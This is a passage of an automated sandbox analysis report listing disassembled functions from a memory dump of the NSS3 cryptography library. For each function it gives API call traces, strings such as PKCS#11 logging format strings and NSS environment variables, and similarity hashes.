String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 76374aa864ab97f016c82690480f002940781c5dd01d9263b6d383a3686f6961
Instruction ID: ee0526e95dedd881f3e72d244434ff6200ef60945f357a4579d07ce7d46be97e
Opcode Fuzzy Hash: 76374aa864ab97f016c82690480f002940781c5dd01d9263b6d383a3686f6961
Instruction Fuzzy Hash: C941E6356020D4EFDB14CF94ED58E8D7BB2EB4631DF488065F90857A11D731AC99CBA2

Function 6CAD0550 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 182stringCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_ALLOW_WEAK_SIGNATURE_ALG,00000002,00000000,?,6CAB5989), ref: 6CAD0571

Part of subcall function 6CA61240: TlsGetValue.KERNEL32(00000040,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA61267
Part of subcall function 6CA61240: EnterCriticalSection.KERNEL32(?,?,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA6127C
Part of subcall function 6CA61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA61291
Part of subcall function 6CA61240: PR_Unlock.NSS3(?,?,?,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA612A0

PR_GetEnvSecure.NSS3(NSS_HASH_ALG_SUPPORT,?,00000002,00000000,?,6CAB5989), ref: 6CAD05B7
PORT_Strdup_Util.NSS3(00000000,?,?,00000002,00000000,?,6CAB5989), ref: 6CAD05C8
strchr.VCRUNTIME140(00000000,0000003B,?,?,?,00000002,00000000,?,6CAB5989), ref: 6CAD05EC
strstr.VCRUNTIME140(00000001,?), ref: 6CAD0653
free.MOZGLUE(?,?,?,?,00000002,00000000,?,6CAB5989), ref: 6CAD0681
PORT_NewArena_Util.NSS3(00000800,?,?,?,?,00000002,00000000,?,6CAB5989), ref: 6CAD06AB
PL_NewHashTable.NSS3(00000000,6CACFE80,?,6CB1C350,00000000,00000000,?,?,?,?,?,00000002,00000000,?,6CAB5989), ref: 6CAD06D5
PL_NewHashTable.NSS3(00000000,?,6CB1C350,6CB1C350,00000000,00000000), ref: 6CAD06EC
PL_HashTableAdd.NSS3(?,6CB9E618,6CB9E618), ref: 6CAD070F

Part of subcall function 6C9F2DF0: PL_HashTableRawAdd.NSS3(?,?,?,?,?), ref: 6C9F2E35

PL_HashTableAdd.NSS3(FFFFFFFF,6CB9E618), ref: 6CAD0738
PL_HashTableAdd.NSS3(6CB9E634,6CB9E634), ref: 6CAD0752
PR_SetError.NSS3(FFFFE001,00000000,?,?,?,?,00000002,00000000,?,6CAB5989), ref: 6CAD0767

Strings

NSS_HASH_ALG_SUPPORT, xrefs: 6CAD05B2
NSS_ALLOW_WEAK_SIGNATURE_ALG, xrefs: 6CAD056C
flags, xrefs: 6CAD0555
V, xrefs: 6CAD0559
dynamic OID data, xrefs: 6CAD068A

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: HashTable$SecureUtil$Arena_CriticalEnterErrorSectionStrdup_UnlockValuefreegetenvstrchrstrstr
String ID: NSS_ALLOW_WEAK_SIGNATURE_ALG$NSS_HASH_ALG_SUPPORT$V$dynamic OID data$flags
API String ID: 514890423-4248967104
Opcode ID: 61dc354e5ae371b2568c403a96775def80a2d1a1647a316059b69c78aa0021c7
Instruction ID: 71c067f1e55a07df7d05b1c473a96729e6454899e0e51cde36a8409e50f249a5
Opcode Fuzzy Hash: 61dc354e5ae371b2568c403a96775def80a2d1a1647a316059b69c78aa0021c7
Instruction Fuzzy Hash: D851FBB1E015C15FEB008B358C18BAB3AB5AB9235CF1D0125E818D7B41F771F985CBA2

Function 6CAB6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CAB6943
Part of subcall function 6CAB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CAB6957
Part of subcall function 6CAB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CAB6972
Part of subcall function 6CAB6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CAB6983
Part of subcall function 6CAB6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CAB69AA
Part of subcall function 6CAB6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CAB69BE
Part of subcall function 6CAB6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CAB69D2
Part of subcall function 6CAB6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CAB69DF
Part of subcall function 6CAB6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CAB6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAB6D8C
free.MOZGLUE(00000000), ref: 6CAB6DC5
free.MOZGLUE(?), ref: 6CAB6DD6
free.MOZGLUE(?), ref: 6CAB6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAB6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAB6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAB6E72
free.MOZGLUE(?), ref: 6CAB6EA7
free.MOZGLUE(?), ref: 6CAB6EC4
free.MOZGLUE(?), ref: 6CAB6ED5
free.MOZGLUE(00000000), ref: 6CAB6EE3
free.MOZGLUE(?), ref: 6CAB6EF4
free.MOZGLUE(?), ref: 6CAB6F08
free.MOZGLUE(00000000), ref: 6CAB6F35
free.MOZGLUE(?), ref: 6CAB6F44
free.MOZGLUE(?), ref: 6CAB6F5B
free.MOZGLUE(00000000), ref: 6CAB6F65

Part of subcall function 6CAB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAB781D,00000000,6CAABE2C,?,6CAB6B1D,?,?,?,?,00000000,00000000,6CAB781D), ref: 6CAB6C40
Part of subcall function 6CAB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAB781D,?,6CAABE2C,?), ref: 6CAB6C58
Part of subcall function 6CAB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAB781D), ref: 6CAB6C6F
Part of subcall function 6CAB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAB6C84
Part of subcall function 6CAB6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAB6C96
Part of subcall function 6CAB6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAB6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAB6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAB6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CAB6FF4

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 1ba5a5388946d7e625ad911658da4c1c0b558d42cee82e000eed8e4a9ed9f6a9
Instruction ID: 8ec697ecc4774d022151b69ccecd32ccc0bcfff640f0ed94ed386fb25047a7b2
Opcode Fuzzy Hash: 1ba5a5388946d7e625ad911658da4c1c0b558d42cee82e000eed8e4a9ed9f6a9
Instruction Fuzzy Hash: 60B15DB5E012499FEF04CBA5D885B9EBBBCAF09348F180024E815F7740E731E995CBA1

Function 6CAB4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAB4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CAB4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAB4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB4DB7

Part of subcall function 6CB1DD70: TlsGetValue.KERNEL32 ref: 6CB1DD8C
Part of subcall function 6CB1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB1DDB4

Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607AD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607CD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607D6
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C9F204A), ref: 6CA607E4
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,6C9F204A), ref: 6CA60864
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA60880
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,6C9F204A), ref: 6CA608CB
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608D7
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608FB

TlsGetValue.KERNEL32 ref: 6CAB4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CAB4DEC
PR_Unlock.NSS3(?), ref: 6CAB4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CAB4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CAB4E71
free.MOZGLUE(00000000), ref: 6CAB4E7A
PR_Unlock.NSS3(?), ref: 6CAB4EA2
TlsGetValue.KERNEL32 ref: 6CAB4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CAB4ED6
PR_Unlock.NSS3(?), ref: 6CAB4F01
free.MOZGLUE(00000000), ref: 6CAB4F2A

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 7b724f8e881855992f7d2b396121c9019ee91d482644592df49e6496dd9de060
Instruction ID: 9cbb45d8293373de562bfe9db5839057edeba01d32e7419994491289419917f8
Opcode Fuzzy Hash: 7b724f8e881855992f7d2b396121c9019ee91d482644592df49e6496dd9de060
Instruction Fuzzy Hash: 76B1E475A002059FDF01EF68D845BAA77B8FF0A318F084128ED15A7B41E735EAA5CBD1

Function 6CB06E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CB06BF7), ref: 6CB06EB6

Part of subcall function 6CA61240: TlsGetValue.KERNEL32(00000040,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA61267
Part of subcall function 6CA61240: EnterCriticalSection.KERNEL32(?,?,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA6127C
Part of subcall function 6CA61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA61291
Part of subcall function 6CA61240: PR_Unlock.NSS3(?,?,?,?,6CA6116C,NSPR_LOG_MODULES), ref: 6CA612A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CBAFC0A,6CB06BF7), ref: 6CB06ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB06EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CB06EFC
PR_NewLock.NSS3 ref: 6CB06F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB06F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CB06BF7), ref: 6CB06F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CB06BF7), ref: 6CB06F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CB06BF7), ref: 6CB06FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CB06BF7), ref: 6CB06FFD

Strings

SSLKEYLOGFILE, xrefs: 6CB06EB1
SSLFORCELOCKS, xrefs: 6CB06F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CB06FDB
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CB06EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CB06F4F
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CB06FF8

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 7d62542235d98c2d1d6c5f54fed91ca43207479684f7de8f764e74fbd72ca967
Instruction ID: cb44ce9ccfbb3fa73c71e27395285102969c5c0ebf30ef7da750ebfa8746273b
Opcode Fuzzy Hash: 7d62542235d98c2d1d6c5f54fed91ca43207479684f7de8f764e74fbd72ca967
Instruction Fuzzy Hash: 4DA139B2B658D087FB104A3CDC113997BA2EB93329F184369EC31D7ED5DBB5A4818342

Function 6CA7C4B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA7C4D5

Part of subcall function 6CACBE30: SECOID_FindOID_Util.NSS3(6CA8311B,00000000,?,6CA8311B,?), ref: 6CACBE44

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CA7C516
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CA7C530
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA7C54E
NSS_GetAlgorithmPolicy.NSS3(00000000,00000000), ref: 6CA7C5CB
VFY_VerifyDataWithAlgorithmID.NSS3(00000002,?,?,?,?,?,?), ref: 6CA7C712
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CA7C725
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CA7C742
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA7C751
PL_FinishArenaPool.NSS3(?), ref: 6CA7C77A
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6CA7C78F
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6CA7C7A9

Strings

security, xrefs: 6CA7C63F

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Algorithm$Policy$Util$ErrorTag_$ArenaDataFindFinishPoolVerifyWith
String ID: security
API String ID: 1085474831-3315324353
Opcode ID: 1278c60ffbc3d6707324494f469ff45ffd133d1dce82fc2af49e656ca84a6065
Instruction ID: 3e82226c856a4dafdf752ae1ff340204b20766c188b37d53cbfce2a90f865e02
Opcode Fuzzy Hash: 1278c60ffbc3d6707324494f469ff45ffd133d1dce82fc2af49e656ca84a6065
Instruction Fuzzy Hash: 90812E79C011089BEF20EA54DD84BEE7778FF0131CF284125ED15A6A51E725EAC9C7B1

Function 6CAA8500 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptDigestUpdate), ref: 6CAA8526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA8554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA8563

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAA8579
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CAA859A
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CAA85B3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAA85CC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CAA85E7
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CAA8659

Strings

ulEncryptedPartLen = %d, xrefs: 6CAA85AE
C_DecryptDigestUpdate, xrefs: 6CAA8521
pEncryptedPart = 0x%p, xrefs: 6CAA8595
pPart = 0x%p, xrefs: 6CAA85C7
(CK_INVALID_HANDLE), xrefs: 6CAA855C
hSession = 0x%x, xrefs: 6CAA853E, 6CAA854E
*pulPartLen = 0x%x, xrefs: 6CAA8654
pulPartLen = 0x%p, xrefs: 6CAA85E2

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptDigestUpdate
API String ID: 1003633598-1019776760
Opcode ID: f0386e8a4af297673f0bb0070da6112cdf7fe83c86f9bd597148adee77b0700c
Instruction ID: be8b6c9978b15691eca567d0b3fd9b4366d966767874bd74b245dea9893163e8
Opcode Fuzzy Hash: f0386e8a4af297673f0bb0070da6112cdf7fe83c86f9bd597148adee77b0700c
Instruction Fuzzy Hash: 6C41E6356021D1AFDB009F94ED58E8E7BB5EB4631DF088066EC0867611DB30AD89CB92

Function 6CAA6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CAA6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA6DC3

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAA6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAA6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CAA6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CAA6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CAA6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CAA6EB9

Strings

pDigest = 0x%p, xrefs: 6CAA6E27
ulDataLen = %d, xrefs: 6CAA6E0E
pulDigestLen = 0x%p, xrefs: 6CAA6E42
*pulDigestLen = 0x%x, xrefs: 6CAA6EB4
(CK_INVALID_HANDLE), xrefs: 6CAA6DBC
hSession = 0x%x, xrefs: 6CAA6D9E, 6CAA6DAE
C_Digest, xrefs: 6CAA6D81
pData = 0x%p, xrefs: 6CAA6DF5

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 4a2c7c15baa5c5a22b61c6fe9927792a43e7b7830911f918b8d56031e8a8ea55
Instruction ID: 40f399ef51f471428d87e46eefea1794263a8203ca179f7d09f7fdd99ee96030
Opcode Fuzzy Hash: 4a2c7c15baa5c5a22b61c6fe9927792a43e7b7830911f918b8d56031e8a8ea55
Instruction Fuzzy Hash: EA410635602094EFDB109F98ED58F8E7BB5EB46758F488065E80897B11DB31EC89CF92

Function 6CAA8690 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignEncryptUpdate), ref: 6CAA86B6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA86E4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA86F3

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAA8709
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAA872A
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CAA8743
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CAA875C
PR_LogPrint.NSS3( pulEncryptedPartLen = 0x%p,?), ref: 6CAA8777
PR_LogPrint.NSS3( *pulEncryptedPartLen = 0x%x,?), ref: 6CAA87E9

Strings

ulPartLen = %d, xrefs: 6CAA873E
pulEncryptedPartLen = 0x%p, xrefs: 6CAA8772
pEncryptedPart = 0x%p, xrefs: 6CAA8757
C_SignEncryptUpdate, xrefs: 6CAA86B1
pPart = 0x%p, xrefs: 6CAA8725
(CK_INVALID_HANDLE), xrefs: 6CAA86EC
hSession = 0x%x, xrefs: 6CAA86CE, 6CAA86DE
*pulEncryptedPartLen = 0x%x, xrefs: 6CAA87E4

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulEncryptedPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulEncryptedPartLen = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_SignEncryptUpdate
API String ID: 1003633598-3528238837
Opcode ID: 96758f60d2fc098abcacf7a983832b1ed10e74ce578fb74b542417b597af6428
Instruction ID: e07c92db026e9cf0bac22ac38d8f7fd841828da3584e43df1d0e9fa4e62f0093
Opcode Fuzzy Hash: 96758f60d2fc098abcacf7a983832b1ed10e74ce578fb74b542417b597af6428
Instruction Fuzzy Hash: 2A41D9356021D4AFDB10CF94EE58F8E7BB5EB4631DF488065E90857A11DB30AC99CBA2

Function 6CAA67D0 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Decrypt), ref: 6CAA67F6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA6824
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA6833

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

